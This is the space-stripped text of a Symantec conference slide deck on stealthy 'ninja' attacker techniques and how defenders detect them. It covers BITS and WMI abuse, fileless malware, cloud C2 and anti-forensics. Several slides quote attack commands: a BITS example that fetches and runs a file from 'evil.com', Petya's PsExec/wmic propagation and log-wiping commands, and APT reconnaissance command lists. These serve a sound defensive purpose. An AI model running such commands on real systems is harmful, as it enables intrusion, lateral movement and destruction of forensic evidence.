beware of the ninjas - imf-conference.org · appleworm/lazarus • net user • ipconfig /all •...

08/05/18

1

BewareoftheNinjas

FelixLeder<[email protected]>

InaNutshell–MaketheInternetasaferplace

•  Symantec

–  CommercialOrg

–  Highqualityproducts

–  MalwareAnalysisSystems

–  Huuuugelotofdata

–  Patents

•  TheHoneynetProject

–  Non-ProfitOrg

–  OpenSource

–  CuckooSandbox(2010)

–  Sharingwhatwecan

–  Publictraining

Copyright©2015SymantecCorporation

2

08/05/18

2

Defender’sView

OldSchool-Prevention

IaskmyselfIFIwillgetbreached.

WhatcanIdotoPREVENTbreaches?

NewSchool-Detection

IaskmyselfWHENIwillgetbreached

WhatcanIdotoDETECTbreaches?

WhatwillIdoinsuchanevent?(DFIRaware)


3

Attacker’sView

OldSchool–MaliciousSoftware

Mission:Doeverythingtostayundetected

Tactics:

•  Obfuscation

•  Anti-securitytools

NewSchool-Ninja

Mission:Hideaslongaspossible

Tactics:

•  Hideinthenoise

•  Stayoutsidemonitoringdomains

•  Leaveminimaltraces


4

Softwaredoesnotbreachorganizations–Peopledo

08/05/18

3

Sometry…


5

http://www.chinadaily.com.cn/china/2015-04/11/content_20411580.htm#Content

Somedoitbetter


6

https://www.pinterest.ie/pin/272467846179842314/

08/05/18

4

Somearealmostimpossibletospot


7

https://www.pinterest.ie/pin/298996862741834388/

SecurityToolAwareness

Copyright©2015SymantecCorporation 8

Ninjasadjust

08/05/18

5

Gozi:UserInteractiontotheNextLevel

•  PayloadencryptedwithRANDOMKEY

•  Nobodyknowsrandomkey(notevenmalwareitself)

•  Idea:Bruteforcekeybasedonmousemove

•  Eventuallyarealuserdecryptsthepayload


9

Decrypt(?)

EncryptedPayload

Key:5ýKey:1ýKey:6ýKey:9ýKey:7þ

AItothemax-GhostUser


10

08/05/18

6

Leavenotrace

Duqu–2010-2011


12

08/05/18

7

Example:Duqu2.0

•  Infection:–  Documents/spearphishing

–  Privilegeescalation

–  Pass-the-hash

•  NoPersistenceonhost

–  Taskscheduler

–  Remoteexecution

•  InMemoryonly(evadingforensics)

•  Three0-daysused

•  InternalC2forwarding

•  Traffichidinginpictures

•  Changingencryption

DomainController

Hide


Lookingattheninjainthehost

08/05/18

8

LetWindowsdothedirtywork

•  IfWindows/Microsoftistrusted,letitdothedirtywork


15

Fetchhttp://evil.com/malw.exe

andthenEXECUTEit

OK!

BackgroundIntelligentTransferService/BITS


16

08/05/18

9

Gowherethere’snomonitoring-WMI

• WindowsManagementInstrumentation

•  NosuspiciousAPIs;justaskWindows


17

Win32_NetworkAdapterConfiguration

Bluwimps-PersistencethroughWMI


18

08/05/18

10

Poweliks-filelessintheregistry

•  FolderopenedinFileopendialog/explorer…


19

Livingofftheland–InformationGathering

•  Manyattackgroupsusecommonsystemtoolsduringtheirattacks

•  systeminfo

•  netview

•  netview/domain

•  tasklist/v

•  gpresult/z

•  arp-a

•  netshare

•  netuse

•  netuseradministrator

•  netuser/domain

•  netuseradministrator/domain

•  tasklist/fi

WATERBUG/TURLA

•  hostname

•  whoami

•  ver

•  ipconfig-all

•  pingwww.google.com

•  queryuser

•  netuser

•  netview

•  netview/domain

•  tasklist/svc

•  netstat-ano|find\TCP\

•  msdtc[IP][port]

APPLEWORM/LAZARUS

•  netuser

•  ipconfig/all

•  netstart

•  systeminfo

•  gpresult

BILLBUG

08/05/18

11

Dual-UseTools:Petya

Petyausesdual-usetools

•  ThreatisDLLexecutedbyrundll32.exe

•  UsesrecompiledversionofLSADumpMimikatztogetpasswords

•  UsesPsExectopropagate

–  \\[server_name]\admin$\perfc.dat

–  psexecrundll32.exec:\windows\perfc.dat#1<rand>

•  UsesWMItopropagateifPsExecfails

–  wmic.exe/node:[IPAddress]/user:[USERNAME]/password:[PASSWORD]processcallcreate“%System%\rundll32.exe\“%Windows%\perfc.dat\"#160”

•  ScheduledtasktorestartintothemaliciousMBRpayload

–  schtasks/RU"SYSTEM"/Create/SConce/TN""/TR“%system%\shutdown14:42.exe/r/f"/ST

•  Deleteslogfilestohidetraces

–  wevtutilclSetup&wevtutilclSystem&…&fsutilusndeletejournal/D%C:

08/05/18

12

NotjustWindows


23

•  HiddenLotusonOSXusingshellcommands

Clean Malicious

ForensicsandIncidentManagement

•  BackgroundIntelligenceTransferService

•  WindowsManagementInstrumentation

•  Dualusetools

è Notnecessarilyfilesondisk

è (alotof)Activitiesstarted

è Knowyourenvironmentàspotanomalies

•  Powershellonsecretariescomputer?

•  WindowsdownloadingupdatesfromRussia,China,orSweden?

•  HRdepartmentinvokingnet view /domaincommands


24

08/05/18

13

HidebehindtheClouds


ShortHistoryofMalwareC2


08/05/18

14

TwitterBotnetasexample

•  Prevention:BlockTwitter?

•  IncidentResponse:RetrospectiveTwittertrafficanalysis?

–  Signal2noiseratiolow

–  TLS–blindspots?

•  Endpointmonitoring?

•  Encryptedtrafficmgmt.?

•  NSSKeyLogFile?


27

InceptionFramework

•  Targetedattack(mostlyRussiantargets)

•  Exfiltrateto Cloudprovider


28

08/05/18

15

FakeUpdatescampaigns

•  Useofglobalcloudservices


29

Canyouruleoutthecloud?


30

HTTPS/TLS

08/05/18

16

Directcloudtransfers

Findthebreach

•  Whatwentwhereandwhen?

•  Whatwassharedwithwhom?

•  Whattypeoffilesweretransferred?(docsw/act.content,exe,…)

•  Whatwasmodifiedbywhom?

•  Tracedeletedfiles?

•  Scale:1000usersw/1000fileoperationsperday


31

Cloudforensics


32

08/05/18

17

ReadyforCloudIR?

•  Canyoulookintoencryptedtraffic?(post-breach)

•  OverviewoveractivitiesinyourCloudservices?(spotbreaches)

– Whatactionswouldbesuspicious?

–  Differentusergroups/differentbehaviors?

•  ProceduresforIR?(post-breach)


33

RunningyourownCloudservice


08/05/18

18


35

DoNOTask:“IfIwillgetbreached?”


36

08/05/18

19

DoNOTask:“IfIwillgetbreached?”


37

and

CloudPets

•  SendmessagestoPet

•  Petcanrecordmessagesandsendback

•  MongoDBwithallaccountspubliclyaccessibleonInternet

–  Useraccounts

–  Messages


38

https://www.troyhunt.com/data-from-connected-cloudpets-teddy-bears-leaked-and-ransomed-exposing-kids-voice-messages/

08/05/18

20

CloudPets

•  SendmessagestoPet

•  Petcanrecordmessagesandsendback

•  MongoDBwithallaccountspubliclyaccessibleonInternet

–  Useraccounts

–  Messages


39

https://www.troyhunt.com/data-from-connected-cloudpets-teddy-bears-leaked-and-ransomed-exposing-kids-voice-messages/

BecomingmoreIntimate


40

08/05/18

21

BecomingmoreIntimate


41

Andmoreintimate…


42

08/05/18

22

Andmoreintimate…


43

Ithappenseveryday…


44

https://cloudpets-prod.s3.am

azonaw

s.com/9...51.wav

08/05/18

23

Incidentprocess


45

Onprem

Clouduse

Cloudserviceoperation

Onpremise

Clouduse

CloudOp

AvailabilityoftoolsComplexity

Clearboundariesèshortendiscovery

Define“Normality”

•  Yes,policiesareapain

• Whatisnormal?Whatisknowtobeoutsidethenorm?

Learn“Normality”

•  Everycloudappisdifferent

•  Standardbehaviorcanbelearned


46

08/05/18

24

Example:VirtualPrivateCloud


47

VPC

Example:Containers


48

https://wallhere.com/en/wallpaper/600531

08/05/18

25

Example:Container&Microservices


49

Orca

Gray

Humpback

Blue

Shark

Fin

Minke

Example:Microserviceworkflows


50

Orca

Gray

Humpback

Blue

Shark

Fin

Minke

08/05/18

26

SecureVMintheCloud(likeon-premise)


51

HostIDS Whitelist EDR

Themoreyouknow,thefasteryoureact


52

08/05/18

27

AntiForensics


Smokeloadera.k.a.Dofoil

•  ExtendableTrojanKit

•  Ring3-rootkit(32-bit)

–  Hideprocesses

–  Hideregistry

–  Hidefiles

•  Killsecuritytools

•  Injectintoexplorer.exe


54

Process

BenignCode

Data

MaliciousCode

08/05/18

28

NotjustWindows


55

•  HiddenLotusonOSXwithanti-forensics

Clean Malicious

Getyourfactsstraight

J

08/05/18

29

http://westernriverimages.photoshelter.com/image/I0000.gezYGWvQX4

CyberwarIranianattackonBowmandam,2013

http://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559

http://westernriverimages.photoshelter.com/image/I0000.gezYGWvQX4

CyberwarIranianattackonBowmandam,2013

http://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559

08/05/18

30

Summary


Summary

•  Attackerswillalwaysadjust–Ninjashideinthenoise

•  Attackerswillalwaysusesystemsinunusualways

•  Log&recordthehe**outofyoursystems

–  Systemlogs(remote)

–  EDR

–  Networklogs(thinkencryptedtraffic)

•  Define/learnwhatis“normal”

–  Users

–  Systems

–  Architecture

•  BethefirsttonoticeàSetupalerting


60

08/05/18

31

Thankyou!

Copyright©2015SymantecCorporation.Allrightsreserved.SymantecandtheSymantecLogoaretrademarksorregisteredtrademarksofSymantecCorporationoritsaffiliatesintheU.S.andothercountries.Othernamesmaybetrademarksoftheirrespectiveowners.

Thisdocumentisprovidedforinformationalpurposesonlyandisnotintendedasadvertising.Allwarrantiesrelatingtotheinformationinthisdocument,eitherexpressorimplied,aredisclaimedtothemaximumextentallowedbylaw.Theinformationinthisdocumentissubjecttochangewithoutnotice.

[email protected]